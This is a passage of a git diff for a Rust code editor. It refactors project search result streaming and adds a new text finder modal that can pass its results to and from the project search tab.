index b09a040caa9841..6edf8a26dfbe93 100644
--- a/crates/recent_projects/src/wsl_picker.rs
+++ b/crates/recent_projects/src/wsl_picker.rs
@@ -75,6 +75,10 @@ impl EventEmitter<WslPickerDismissed> for Picker<WslPickerDelegate> {}
 impl picker::PickerDelegate for WslPickerDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "WSL-distor-picker"
+    }
+
     fn match_count(&self) -> usize {
         self.matches.len()
     }
diff --git a/crates/repl/src/components/kernel_options.rs b/crates/repl/src/components/kernel_options.rs
index e8fc7bee363ff8..4503d260e7c14c 100644
--- a/crates/repl/src/components/kernel_options.rs
+++ b/crates/repl/src/components/kernel_options.rs
@@ -206,6 +206,10 @@ impl KernelPickerDelegate {
 impl PickerDelegate for KernelPickerDelegate {
     type ListItem = ListItem;
 
+    fn name() -> &'static str {
+        "kernel picker"
+    }
+
     fn match_count(&self) -> usize {
         self.filtered_entries.len()
     }
@@ -477,8 +481,9 @@ where
         let picker_view = cx.new(|cx| {
             Picker::list(delegate, window, cx)
                 .list_measure_all()
-                .width(rems(34.))
-                .max_height(Some(rems(24.).into()))
+                .minimum_results_width(rems(34.))
+                .height(rems(24.))
+                .no_vertical_padding()
         });
 
         PopoverMenu::new("kernel-switcher")
diff --git a/crates/search/Cargo.toml b/crates/search/Cargo.toml
index dac98f5245f11e..3ef52302fa2058 100644
--- a/crates/search/Cargo.toml
+++ b/crates/search/Cargo.toml
@@ -26,17 +26,20 @@ any_vec.workspace = true
 bitflags.workspace = true
 collections.workspace = true
 editor.workspace = true
+file_icons.workspace = true
 fs.workspace = true
-futures-lite.workspace = true
 futures.workspace = true
 gpui.workspace = true
 language.workspace = true
 menu.workspace = true
 multi_buffer.workspace = true
+picker.workspace = true
 project.workspace = true
 serde.workspace = true
 serde_json.workspace = true
 settings.workspace = true
+smol.workspace = true
+text.workspace = true
 theme.workspace = true
 theme_settings.workspace = true
 ui.workspace = true
diff --git a/crates/search/src/project_search.rs b/crates/search/src/project_search.rs
index e55307175162eb..c014c6b4228392 100644
--- a/crates/search/src/project_search.rs
+++ b/crates/search/src/project_search.rs
@@ -1,12 +1,14 @@
 use crate::{
-    BufferSearchBar, FocusSearch, HighlightKey, NextHistoryQuery, PreviousHistoryQuery, ReplaceAll,
-    ReplaceNext, SearchOption, SearchOptions, SearchSource, SelectNextMatch, SelectPreviousMatch,
+    BufferSearchBar, EXCLUDE_PLACEHOLDER, FocusSearch, HighlightKey, INCLUDE_PLACEHOLDER,
+    NextHistoryQuery, PreviousHistoryQuery, REPLACE_PLACEHOLDER, ReplaceAll, ReplaceNext,
+    SearchOption, SearchOptions, SearchSource, SelectNextMatch, SelectPreviousMatch,
     ToggleCaseSensitive, ToggleIncludeIgnored, ToggleRegex, ToggleReplace, ToggleWholeWord,
     buffer_search::Deploy,
     search_bar::{
         ActionButtonState, HistoryNavigationDirection, alignment_element, input_base_styles,
         render_action_button, render_text_input, should_navigate_history,
     },
+    text_finder::TextFinder,
 };
 use anyhow::Context as _;
 use collections::HashMap;
@@ -20,10 +22,10 @@ use editor::{
 };
 use futures::{StreamExt, stream::FuturesOrdered};
 use gpui::{
-    Action, AnyElement, App, Axis, Context, Entity, EntityId, EventEmitter, FocusHandle, Focusable,
-    Global, Hsla, InteractiveElement, IntoElement, KeyContext, ParentElement, Point, Render,
-    SharedString, Styled, Subscription, Task, TaskExt, UpdateGlobal, WeakEntity, Window, actions,
-    div,
+    Action, AnyElement, App, AsyncApp, Axis, Context, Entity, EntityId, EventEmitter, FocusHandle,
+    Focusable, Global, Hsla, InteractiveElement, IntoElement, KeyContext, ParentElement, Point,
+    Render, SharedString, Styled, Subscription, Task, TaskExt, UpdateGlobal, WeakEntity, Window,
+    actions, div,
 };
 use itertools::Itertools;
 use language::{Buffer, Language};
@@ -31,7 +33,7 @@ use menu::Confirm;
 use multi_buffer;
 use project::{
     Project, ProjectPath, SearchResults,
-    search::{SearchInputKind, SearchQuery},
+    search::{SearchInputKind, SearchQuery, SearchResult},
     search_history::SearchHistoryCursor,
 };
 use settings::Settings;
@@ -40,7 +42,10 @@ use std::{
     mem,
     ops::{Not, Range},
     pin::pin,
-    sync::Arc,
+    sync::{
+        Arc,
+        atomic::{AtomicBool, Ordering},
+    },
 };
 use ui::{
     CommonAnimationExt, IconButtonShape, KeyBinding, Toggleable, Tooltip, prelude::*,
@@ -66,7 +71,9 @@ actions!(
         /// Toggles the search filters panel.
         ToggleFilters,
         /// Toggles collapse/expand state of all search result excerpts.
-        ToggleAllSearchResults
+        ToggleAllSearchResults,
+        /// Open a text picker showing the current result in a modal.
+        OpenTextFinder
     ]
 );
 
@@ -97,7 +104,7 @@ fn split_glob_patterns(text: &str) -> Vec<&str> {
 }
 
 #[derive(Default)]
-struct ActiveSettings(HashMap<WeakEntity<Project>, ProjectSearchSettings>);
+pub(crate) struct ActiveSettings(pub(crate) HashMap<WeakEntity<Project>, ProjectSearchSettings>);
 
 impl Global for ActiveSettings {}
 
@@ -229,17 +236,18 @@ fn contains_uppercase(str: &str) -> bool {
 }
 
 pub struct ProjectSearch {
-    project: Entity<Project>,
-    excerpts: Entity<MultiBuffer>,
-    pending_search: Option<Task<Option<()>>>,
-    match_ranges: Vec<Range<Anchor>>,
-    active_query: Option<SearchQuery>,
+    pub(crate) project: Entity<Project>,
+    pub excerpts: Entity<MultiBuffer>,
+    pub pending_search: Option<Task<Option<SearchResults<SearchResult>>>>,
+    pub match_ranges: Vec<Range<Anchor>>,
+    pub(crate) active_query: Option<SearchQuery>,
     last_search_query_text: Option<String>,
-    search_id: usize,
+    pub search_id: usize,
     search_state: SearchState,
     search_history_cursor: SearchHistoryCursor,
     search_included_history_cursor: SearchHistoryCursor,
     search_excluded_history_cursor: SearchHistoryCursor,
+    pub project_search_turning_into_text_finder: Arc<AtomicBool>,
     _excerpts_subscription: Subscription,
 }
 
@@ -283,13 +291,13 @@ enum InputPanel {
 }
 
 pub struct ProjectSearchView {
-    workspace: WeakEntity<Workspace>,
+    pub(crate) workspace: WeakEntity<Workspace>,
     focus_handle: FocusHandle,
-    entity: Entity<ProjectSearch>,
+    pub(crate) entity: Entity<ProjectSearch>,
     query_editor: Entity<Editor>,
     replacement_editor: Entity<Editor>,
     results_editor: Entity<Editor>,
-    search_options: SearchOptions,
+    pub(crate) search_options: SearchOptions,
     panels_with_errors: HashMap<InputPanel, String>,
     active_match_index: Option<usize>,
     search_id: usize,
@@ -332,6 +340,7 @@ impl ProjectSearch {
             search_history_cursor: Default::default(),
             search_included_history_cursor: Default::default(),
             search_excluded_history_cursor: Default::default(),
+            project_search_turning_into_text_finder: Arc::new(AtomicBool::new(false)),
             _excerpts_subscription: subscription,
         }
     }
@@ -359,6 +368,7 @@ impl ProjectSearch {
                 search_history_cursor: self.search_history_cursor.clone(),
                 search_included_history_cursor: self.search_included_history_cursor.clone(),
                 search_excluded_history_cursor: self.search_excluded_history_cursor.clone(),
+                project_search_turning_into_text_finder: Arc::new(AtomicBool::new(false)),
                 _excerpts_subscription: subscription,
             }
         })
@@ -421,6 +431,8 @@ impl ProjectSearch {
     }
 
     fn search(&mut self, query: SearchQuery, cx: &mut Context<Self>) {
+        let project_search_turning_into_text_finder =
+            Arc::clone(&self.project_search_turning_into_text_finder);
         let search = self.project.update(cx, |project, cx| {
             project
                 .search_history_mut(SearchInputKind::Query)
@@ -445,9 +457,6 @@ impl ProjectSearch {
         self.match_ranges.clear();
         self.search_state = SearchState::Running(SearchActivity::Searching);
         self.pending_search = Some(cx.spawn(async move |project_search, cx| {
-            let SearchResults { rx, _task_handle } = search;
-
-            let mut matches = pin!(rx.ready_chunks(1024));
             project_search
                 .update(cx, |project_search, cx| {
                     project_search.match_ranges.clear();
@@ -457,89 +466,141 @@ impl ProjectSearch {
                 })
                 .ok()?;
 
-            let mut limit_reached = false;
-            while let Some(results) = matches.next().await {
-                let (buffers_with_ranges, has_reached_limit, search_activity) = cx
-                    .background_executor()
-                    .spawn(async move {
-                        let mut limit_reached = false;
-                        let mut search_activity = None;
-                        let mut buffers_with_ranges = Vec::with_capacity(results.len());
-                        for result in results {
-                            match result {
-                                project::search::SearchResult::Buffer { buffer, ranges } => {
-                                    buffers_with_ranges.push((buffer, ranges));
-                                }
-                                project::search::SearchResult::LimitReached => {
-                                    limit_reached = true;
-                                }
-                                project::search::SearchResult::WaitingForScan => {
-                                    search_activity = Some(SearchActivity::WaitingForScan);
-                                }
-                                project::search::SearchResult::Searching => {
-                                    search_activity = Some(SearchActivity::Searching);
-                                }
-                            }
+            consume_search_stream(
+                project_search,
+                search,
+                project_search_turning_into_text_finder,
+                cx,
+            )
+            .await
+        }));
+        cx.notify();
+    }
+
+    // At the point this is called the multibuffer has already been filled with
+    // plundered results from the text finder
+    pub(crate) fn hook_up_ongoing_search(
+        &mut self,
+        search_results: SearchResults<SearchResult>,
+        cx: &mut Context<Self>,
+    ) {
+        let project_search_turning_into_text_finder =
+            Arc::clone(&self.project_search_turning_into_text_finder);
+
+        self.pending_search = Some(cx.spawn(async move |project_search, cx| {
+            consume_search_stream(
+                project_search,
+                search_results,
+                project_search_turning_into_text_finder,
+                cx,
+            )
+            .await
+        }));
+        cx.notify();
+    }
+}
+
+/// Drain a search result stream into the project search's multibuffer.
+async fn consume_search_stream(
+    project_search: WeakEntity<ProjectSearch>,
+    search_results: SearchResults<SearchResult>,
+    project_search_turning_into_text_finder: Arc<AtomicBool>,
+    cx: &mut AsyncApp,
+) -> Option<SearchResults<SearchResult>> {
+    // Note: is cancel safe
+    let mut matches = pin!(search_results.rx.clone().ready_chunks(1024));
+
+    let mut limit_reached = false;
+    while let Some(results) = matches.next().await {
+        let (buffers_with_ranges, has_reached_limit, search_activity) = cx
+            .background_executor()
+            .spawn(async move {
+                let mut limit_reached = false;
+                let mut search_activity = None;
+                let mut buffers_with_ranges = Vec::with_capacity(results.len());
+                for result in results {
+                    match result {
+                        project::search::SearchResult::Buffer { buffer, ranges } => {
+                            buffers_with_ranges.push((buffer, ranges));
                         }
-                        (buffers_with_ranges, limit_reached, search_activity)
-                    })
-                    .await;
-                limit_reached |= has_reached_limit;
-                if let Some(search_activity) = search_activity {
-                    project_search
-                        .update(cx, |project_search, cx| {
-                            project_search.search_state = SearchState::Running(search_activity);
-                            cx.notify();
-                        })
-                        .ok()?;
+                        project::search::SearchResult::LimitReached => {
+                            limit_reached = true;
+                        }
+                        project::search::SearchResult::WaitingForScan => {
+                            search_activity = Some(SearchActivity::WaitingForScan);
+                        }
+                        project::search::SearchResult::Searching => {
+                            search_activity = Some(SearchActivity::Searching);
+                        }
+                    }
                 }
-                let mut new_ranges = project_search
-                    .update(cx, |project_search, cx| {
-                        project_search.excerpts.update(cx, |excerpts, cx| {
-                            buffers_with_ranges
-                                .into_iter()
-                                .map(|(buffer, ranges)| {
-                                    excerpts.set_anchored_excerpts_for_path(
-                                        PathKey::for_buffer(&buffer, cx),
-                                        buffer,
-                                        ranges,
-                                        multibuffer_context_lines(cx),
-                                        cx,
-                                    )
-                                })
-                                .collect::<FuturesOrdered<_>>()
-                        })
-                    })
-                    .ok()?;
-                while let Some(new_ranges) = new_ranges.next().await {
-                    // `new_ranges.next().await` likely never gets hit while still pending so `async_task`
-                    // will not reschedule, starving other front end tasks, insert a yield point for that here
-                    futures_lite::future::yield_now().await;
-                    project_search
-                        .update(cx, |project_search, cx| {
-                            project_search.match_ranges.extend(new_ranges);
-                            cx.notify();
+                (buffers_with_ranges, limit_reached, search_activity)
+            })
+            .await;
+        limit_reached |= has_reached_limit;
+        if let Some(search_activity) = search_activity {
+            project_search
+                .update(cx, |project_search, cx| {
+                    project_search.search_state = SearchState::Running(search_activity);
+                    cx.notify();
+                })
+                .ok()?;
+        }
+        let mut new_ranges = project_search
+            .update(cx, |project_search, cx| {
+                project_search.excerpts.update(cx, |excerpts, cx| {
+                    buffers_with_ranges
+                        .into_iter()
+                        .map(|(buffer, ranges)| {
+                            excerpts.set_anchored_excerpts_for_path(
+                                PathKey::for_buffer(&buffer, cx),
+                                buffer,
+                                ranges,
+                                multibuffer_context_lines(cx),
+                                cx,
+                            )
                         })
-                        .ok()?;
-                }
-            }
-
+                        .collect::<FuturesOrdered<_>>()
+                })
+            })
+            .ok()?;
+        while let Some(new_ranges) = new_ranges.next().await {
+            // `new_ranges.next().await` likely never gets hit while still pending so `async_task`
+            // will not reschedule, starving other front end tasks, insert a yield point for that here
+            smol::future::yield_now().await;
             project_search
                 .update(cx, |project_search, cx| {
-                    project_search.search_state = if project_search.match_ranges.is_empty() {
-                        SearchState::Completed(SearchCompletion::NoResults)
-                    } else {
-                        SearchState::Completed(SearchCompletion::Results { limit_reached })
-                    };
-                    project_search.pending_search.take();
+                    project_search.match_ranges.extend(new_ranges);
                     cx.notify();
                 })
                 .ok()?;
+        }
 
-            None
-        }));
-        cx.notify();
+        // We do not want to end the task before all the results taken
+        // from the mpsc rx are in
+        if project_search_turning_into_text_finder.load(Ordering::Relaxed) {
+            break;
+        }
+    }
+
+    if project_search_turning_into_text_finder.load(Ordering::Relaxed) {
+        project_search_turning_into_text_finder.store(false, Ordering::Relaxed); // reset
+        return Some(search_results);
     }
+
+    project_search
+        .update(cx, |project_search, cx| {
+            project_search.search_state = if project_search.match_ranges.is_empty() {
+                SearchState::Completed(SearchCompletion::NoResults)
+            } else {
+                SearchState::Completed(SearchCompletion::Results { limit_reached })
+            };
+            project_search.pending_search.take();
+            cx.notify();
+        })
+        .ok()?;
+
+    None
 }
 
 #[derive(Clone, Debug, PartialEq, Eq)]
@@ -554,8 +615,13 @@ impl EventEmitter<ViewEvent> for ProjectSearchView {}
 
 impl Render for ProjectSearchView {
     fn render(&mut self, _: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let mut key_context = KeyContext::default();
+        key_context.add("ProjectSearchView");
+
         if self.has_matches() {
             div()
+                .key_context(key_context)
+                .on_action(cx.listener(Self::open_text_finder))
                 .flex_1()
                 .size_full()
                 .track_focus(&self.focus_handle(cx))
@@ -587,6 +653,8 @@ impl Render for ProjectSearchView {
             let page_content = page_content.map(|text| div().child(text));
 
             h_flex()
+                .key_context(key_context)
+                .on_action(cx.listener(Self::open_text_finder))
                 .size_full()
                 .items_center()
                 .justify_center()
@@ -797,6 +865,15 @@ impl ProjectSearchView {
         self.entity.read(cx).match_ranges.clone()
     }
 
+    fn open_text_finder(
+        &mut self,
+        _: &OpenTextFinder,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        TextFinder::open_from_project_search(cx.entity(), window, cx).detach();
+    }
+
     fn toggle_filters(&mut self, cx: &mut Context<Self>) {
         self.filters_enabled = !self.filters_enabled;
         ActiveSettings::update_global(cx, |settings, cx| {
@@ -1007,7 +1084,7 @@ impl ProjectSearchView {
         );
         let replacement_editor = cx.new(|cx| {
             let mut editor = Editor::auto_height(1, 4, window, cx);
-            editor.set_placeholder_text("Replace in project…", window, cx);
+            editor.set_placeholder_text(REPLACE_PLACEHOLDER, window, cx);
             if let Some(text) = replacement_text {
                 editor.set_text(text, window, cx);
             }
@@ -1037,7 +1114,7 @@ impl ProjectSearchView {
 
         let included_files_editor = cx.new(|cx| {
             let mut editor = Editor::single_line(window, cx);
-            editor.set_placeholder_text("Include: crates/**/*.toml", window, cx);
+            editor.set_placeholder_text(INCLUDE_PLACEHOLDER, window, cx);
 
             editor
         });
@@ -1050,7 +1127,7 @@ impl ProjectSearchView {
 
         let excluded_files_editor = cx.new(|cx| {
             let mut editor = Editor::single_line(window, cx);
-            editor.set_placeholder_text("Exclude: vendor/*, *.lock", window, cx);
+            editor.set_placeholder_text(EXCLUDE_PLACEHOLDER, window, cx);
 
             editor
         });
@@ -1456,67 +1533,30 @@ impl ProjectSearchView {
             .count()
             > 1;
 
-        let query = if self.search_options.contains(SearchOptions::REGEX) {
-            match SearchQuery::regex(
-                text,
-                self.search_options.contains(SearchOptions::WHOLE_WORD),
-                self.search_options.contains(SearchOptions::CASE_SENSITIVE),
-                self.search_options.contains(SearchOptions::INCLUDE_IGNORED),
-                self.search_options
-                    .contains(SearchOptions::ONE_MATCH_PER_LINE),
-                included_files,
-                excluded_files,
-                match_full_paths,
-                open_buffers,
-            ) {
-                Ok(query) => {
-                    let should_unmark_error = self.panels_with_errors.remove(&InputPanel::Query);
-                    if should_unmark_error.is_some() {
-                        cx.notify();
-                    }
-
-                    Some(query)
+        let query = match self.search_options.build_query(
+            text,
+            included_files,
+            excluded_files,
+            match_full_paths,
+            open_buffers,
+        ) {
+            Ok(query) => {
+                let should_unmark_error = self.panels_with_errors.remove(&InputPanel::Query);
+                if should_unmark_error.is_some() {
+                    cx.notify();
                 }
-                Err(e) => {
-                    let should_mark_error = self
-                        .panels_with_errors
-                        .insert(InputPanel::Query, e.to_string());
-                    if should_mark_error.is_none() {
-                        cx.notify();
-                    }
 
-                    None
-                }
+                Some(query)
             }
-        } else {
-            match SearchQuery::text(
-                text,
-                self.search_options.contains(SearchOptions::WHOLE_WORD),
-                self.search_options.contains(SearchOptions::CASE_SENSITIVE),
-                self.search_options.contains(SearchOptions::INCLUDE_IGNORED),
-                included_files,
-                excluded_files,
-                match_full_paths,
-                open_buffers,
-            ) {
-                Ok(query) => {
-                    let should_unmark_error = self.panels_with_errors.remove(&InputPanel::Query);
-                    if should_unmark_error.is_some() {
-                        cx.notify();
-                    }
-
-                    Some(query)
+            Err(e) => {
+                let should_mark_error = self
+                    .panels_with_errors
+                    .insert(InputPanel::Query, e.to_string());
+                if should_mark_error.is_none() {
+                    cx.notify();
                 }
-                Err(e) => {
-                    let should_mark_error = self
-                        .panels_with_errors
-                        .insert(InputPanel::Query, e.to_string());
-                    if should_mark_error.is_none() {
-                        cx.notify();
-                    }
 
-                    None
-                }
+                None
             }
         };
         if !self.panels_with_errors.is_empty() {
@@ -1538,6 +1578,24 @@ impl ProjectSearchView {
         buffers
     }
 
+    /// The include/exclude path matchers currently configured on this view,
+    /// honoring `filters_enabled`. Read-only (unlike `build_search_query` it does
+    /// not record parse errors in `panels_with_errors`); invalid globs fall back
+    /// to a default (match-all) matcher. Shared with the text finder, which is
+    /// backed by the same view.
+    pub(crate) fn file_path_filters(&self, cx: &App) -> (PathMatcher, PathMatcher) {
+        if !self.filters_enabled {
+            return (PathMatcher::default(), PathMatcher::default());
+        }
+        let included = self
+            .parse_path_matches(self.included_files_editor.read(cx).text(cx), cx)
+            .unwrap_or_default();
+        let excluded = self
+            .parse_path_matches(self.excluded_files_editor.read(cx).text(cx), cx)
+            .unwrap_or_default();
+        (included, excluded)
+    }
+
     fn parse_path_matches(&self, text: String, cx: &App) -> anyhow::Result<PathMatcher> {
         let path_style = self.entity.read(cx).project.read(cx).path_style(cx);
         let queries = split_glob_patterns(&text)
@@ -1598,6 +1656,35 @@ impl ProjectSearchView {
         window.focus(&editor_handle, cx);
     }
 
+    /// Apply some state (from the textfinder) to the project search UI
+    pub(crate) fn adopt_text_finder_state(
+        &mut self,
+        search_options: SearchOptions,
+        active_query: Option<SearchQuery>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.search_options = search_options;
+        self.adjust_query_regex_language(cx);
+        if let Some(query) = active_query {
+            let query_text = query.as_str().to_string();
+            self.entity.update(cx, |search, _| {
+                search.active_query = Some(query.clone());
+                search.last_search_query_text = Some(query_text.clone());
+                // Force `entity_changed` to treat this as a new search so the
+                // first match gets selected and scrolled into view. The text
+                // finder ran its searches via `project.search` directly, so the
+                // entity's `search_id` was never advanced.
+                search.search_id += 1;
+            });
+            self.set_search_editor(SearchInputKind::Query, &query_text, window, cx);
+            self.focus_results_editor(window, cx);
+        } else {
+            self.focus_query_editor(window, cx);
+        }
+        self.entity_changed(window, cx);
+    }
+
     fn set_query(&mut self, query: &str, window: &mut Window, cx: &mut Context<Self>) {
         self.set_search_editor(SearchInputKind::Query, query, window, cx);
         if EditorSettings::get_global(cx).use_smartcase_search
@@ -2183,6 +2270,20 @@ impl ProjectSearchBar {
             })
         }
     }
+
+    fn open_text_finder(
+        &mut self,
+        _: &OpenTextFinder,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(search) = &self.active_project_search else {
+            tracing::warn!("active_project_search was none");
+            return;
+        };
+
+        TextFinder::open_from_project_search(Entity::clone(search), window, cx).detach();
+    }
 }
 
 impl Render for ProjectSearchBar {
@@ -2572,6 +2673,7 @@ impl Render for ProjectSearchBar {
             })
             .on_action(cx.listener(Self::select_next_match))
             .on_action(cx.listener(Self::select_prev_match))
+            .on_action(cx.listener(Self::open_text_finder))
             .child(search_line)
             .children(query_error_line)
             .children(replace_line)
diff --git a/crates/search/src/search.rs b/crates/search/src/search.rs
index 8edcdd600bd352..dc71ec5c4a6e58 100644
--- a/crates/search/src/search.rs
+++ b/crates/search/src/search.rs
@@ -2,11 +2,12 @@ use bitflags::bitflags;
 pub use buffer_search::BufferSearchBar;
 pub use editor::HighlightKey;
 use editor::SearchSettings;
-use gpui::{Action, App, ClickEvent, FocusHandle, IntoElement, actions};
+use gpui::{Action, App, ClickEvent, Entity, FocusHandle, IntoElement, actions};
 use project::search::SearchQuery;
 pub use project_search::ProjectSearchView;
 use ui::{ButtonStyle, IconButton, IconButtonShape};
 use ui::{Tooltip, prelude::*};
+use util::paths::PathMatcher;
 use workspace::notifications::NotificationId;
 use workspace::{Toast, Workspace};
 pub use zed_actions::search::ToggleIncludeIgnored;
@@ -19,11 +20,13 @@ pub mod buffer_search;
 pub mod project_search;
 pub(crate) mod search_bar;
 pub mod search_status_button;
+pub mod text_finder;
 
 pub fn init(cx: &mut App) {
     menu::init();
     buffer_search::init(cx);
     project_search::init(cx);
+    text_finder::init(cx);
 }
 
 actions!(
@@ -85,6 +88,10 @@ pub enum SearchOption {
     Backwards,
 }
 
+const REPLACE_PLACEHOLDER: &str = "Replace in project…";
+const INCLUDE_PLACEHOLDER: &str = "Include: e.g. src/**/*.rs";
+const EXCLUDE_PLACEHOLDER: &str = "Exclude: e.g. vendor/*, *.lock";
+
 pub enum SearchSource<'a, 'b> {
     Buffer,
     Project(&'a Context<'b, ProjectSearchBar>),
@@ -184,6 +191,43 @@ impl SearchOptions {
         options.set(SearchOptions::REGEX, settings.regex);
         options
     }
+
+    /// Build a [`SearchQuery`] from these options, selecting the regex or text
+    /// constructor based on [`SearchOptions::REGEX`]. Inverse of
+    /// [`SearchOptions::from_query`].
+    pub fn build_query(
+        &self,
+        query: impl ToString,
+        files_to_include: PathMatcher,
+        files_to_exclude: PathMatcher,
+        match_full_paths: bool,
+        buffers: Option<Vec<Entity<language::Buffer>>>,
+    ) -> anyhow::Result<SearchQuery> {
+        if self.contains(SearchOptions::REGEX) {
+            SearchQuery::regex(
+                query,
+                self.contains(SearchOptions::WHOLE_WORD),
+                self.contains(SearchOptions::CASE_SENSITIVE),
+                self.contains(SearchOptions::INCLUDE_IGNORED),
+                self.contains(SearchOptions::ONE_MATCH_PER_LINE),
+                files_to_include,
+                files_to_exclude,
+                match_full_paths,
+                buffers,
+            )
+        } else {
+            SearchQuery::text(
+                query,
+                self.contains(SearchOptions::WHOLE_WORD),
+                self.contains(SearchOptions::CASE_SENSITIVE),
+                self.contains(SearchOptions::INCLUDE_IGNORED),
+                files_to_include,
+                files_to_exclude,
+                match_full_paths,
+                buffers,
+            )
+        }
+    }
 }
 
 pub(crate) fn show_no_more_matches(window: &mut Window, cx: &mut App) {
diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
new file mode 100644
index 00000000000000..4852e2e2386806
--- /dev/null
+++ b/crates/search/src/text_finder.rs
@@ -0,0 +1,289 @@
+use std::{ops::Range, sync::atomic::Ordering};
+
+use gpui::{
+    App, AppContext, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable,
+    Modifiers, Subscription, Task, WeakEntity, actions,
+};
+use language::Buffer;
+use picker::Picker;
+
+use project::ProjectPath;
+use text::Anchor;
+use ui::Window;
+use workspace::{DismissDecision, ModalView, Workspace};
+
+mod delegate;
+mod render;
+use delegate::{Delegate, matches_to_multibuffer};
+use util::ResultExt as _;
+
+use crate::{ProjectSearchView, text_finder::delegate::PopulateProjectSearch};
+
+actions!(text_finder, [ToProjectSearch,]);
+
+pub struct TextFinder {
+    picker: Entity<Picker<Delegate>>,
+    init_modifiers: Option<Modifiers>,
+    _subscription: Subscription,
+}
+
+pub fn init(cx: &mut App) {
+    cx.observe_new(TextFinder::register).detach();
+}
+
+impl TextFinder {
+    fn register(
+        workspace: &mut Workspace,
+        _window: Option<&mut Window>,
+        _: &mut Context<Workspace>,
+    ) {
+        pub use zed_actions::text_finder::Toggle;
+        workspace.register_action(|workspace, _: &Toggle, window, cx| {
+            let Some(text_picker) = workspace.active_modal::<Self>(cx) else {
+                Self::open(window, cx).detach();
+                return;
+            };
+
+            text_picker.update(cx, |text_picker, cx| {
+                text_picker.init_modifiers = Some(window.modifiers());
+                text_picker.picker.update(cx, |picker, cx| {
+                    picker.cycle_selection(window, cx);
+                });
+            })
+        });
+    }
+
+    pub fn open_from_project_search<T: 'static>(
+        project_search_view: Entity<ProjectSearchView>,
+        window: &mut Window,
+        cx: &mut Context<T>,
+    ) -> Task<()> {
+        let project_search_item_id = project_search_view.entity_id();
+        cx.spawn_in(window, async move |_, cx| {
+            let workspace =
+                project_search_view.read_with(cx, |view, _| WeakEntity::clone(&view.workspace));
+            let delegate = Delegate::new_from_project_search(project_search_view, cx).await;
+            workspace
+                .update_in(cx, |workspace, window, cx| {
+                    remove_project_search_tab(project_search_item_id, workspace, window, cx);
+                    workspace
+                        .toggle_modal(window, cx, |window, cx| Self::new(delegate, window, cx));
+                })
+                .ok();
+        })
+    }
+
+    /// Transition this text finder into a project search tab, carrying over the
+    /// current results (and any in-progress search stream) instead of re-running
+    /// the search. Inverse of [`Self::open_from_project_search`].
+    fn to_project_search(
+        &mut self,
+        _: &ToProjectSearch,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let picker = Entity::clone(&self.picker);
+        let workspace = self.weak_workspace(cx);
+
+        let connected_task = self.take_search_task(cx);
+        let project_search_view = self.project_search_view(cx);
+        let query = picker.read(cx).delegate.active_query.clone();
+        let search_options = picker.read(cx).delegate.search_options;
+
+        cx.spawn_in(window, async move |this, cx| {
+            let search_stream = connected_task.unwrap_or(gpui::Task::ready(None)).await;
+            let matches =
+                picker.update(cx, |picker, _| std::mem::take(&mut picker.delegate.matches));
+
+            project_search_view
+                .update_in(cx, |view, window, cx| {
+                    view.adopt_text_finder_state(search_options, query, window, cx);
+                })
+                .log_err();
+
+            this.update(cx, |_, cx| cx.emit(DismissEvent)).log_err();
+            workspace
+                .update_in(cx, |workspace, window, cx| {
+                    workspace.add_item_to_active_pane(
+                        Box::new(project_search_view.clone()),
+                        None,
+                        true, // focus item
+                        window,
+                        cx,
+                    );
+                })
+                .log_err();
+
+            if let PopulateProjectSearch::SupersededByNewSearch =
+                matches_to_multibuffer(&project_search_view, &matches, cx).await
+            {
+                return;
+            }
+
+            if let Some(stream) = search_stream {
+                project_search_view.update(cx, |view, cx| {
+                    view.entity
+                        .update(cx, |search, cx| search.hook_up_ongoing_search(stream, cx));
+                });
+            }
+        })
+        .detach();
+    }
+
+    fn split_left(
+        &mut self,
+        _: &workspace::pane::SplitLeft,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.open_in_split(workspace::SplitDirection::Left, window, cx);
+    }
+
+    fn split_right(
+        &mut self,
+        _: &workspace::pane::SplitRight,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.open_in_split(workspace::SplitDirection::Right, window, cx);
+    }
+
+    fn split_up(
+        &mut self,
+        _: &workspace::pane::SplitUp,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.open_in_split(workspace::SplitDirection::Up, window, cx);
+    }
+
+    fn split_down(
+        &mut self,
+        _: &workspace::pane::SplitDown,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.open_in_split(workspace::SplitDirection::Down, window, cx);
+    }
+
+    fn open_in_split(
+        &mut self,
+        direction: workspace::SplitDirection,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.picker.update(cx, |picker, cx| {
+            picker.delegate.open_in_split(direction, window, cx);
+        });
+    }
+
+    fn weak_workspace(&self, cx: &App) -> WeakEntity<Workspace> {
+        let workspace = WeakEntity::clone(
+            &self
+                .picker
+                .read(cx)
+                .delegate
+                .project_search_view
+                .read(cx)
+                .workspace,
+        );
+        workspace
+    }
+
+    fn take_search_task(
+        &self,
+        cx: &mut App,
+    ) -> Option<Task<Option<project::SearchResults<project::search::SearchResult>>>> {
+        self.picker
+            .read(cx)
+            .delegate
+            .text_finder_turning_into_project_search
+            .store(true, Ordering::Relaxed);
+        self.picker
+            .update(cx, |p, _| p.delegate.in_progress_search.take_connected())
+    }
+
+    pub fn open(window: &mut Window, cx: &mut Context<Workspace>) -> Task<()> {
+        cx.spawn_in(window, async move |workspace, cx| {
+            let Ok(delegate_task) = workspace.update_in(cx, |workspace, window, cx| {
+                Delegate::new(workspace, window, cx)
+            }) else {
+                return;
+            };
+
+            let delegate = delegate_task.await;
+            workspace
+                .update_in(cx, |workspace, window, cx| {
+                    workspace
+                        .toggle_modal(window, cx, |window, cx| Self::new(delegate, window, cx));
+                })
+                .ok();
+        })
+    }
+
+    fn new(delegate: Delegate, window: &mut Window, cx: &mut Context<Self>) -> Self {
+        let project = delegate.project(cx).clone();
+        let picker = cx.new(|cx| Picker::list_with_preview(delegate, project, window, cx));
+        let picker_weak = picker.downgrade();
+        let picker_focus_handle = picker.focus_handle(cx);
+        picker.update(cx, |picker, cx| {
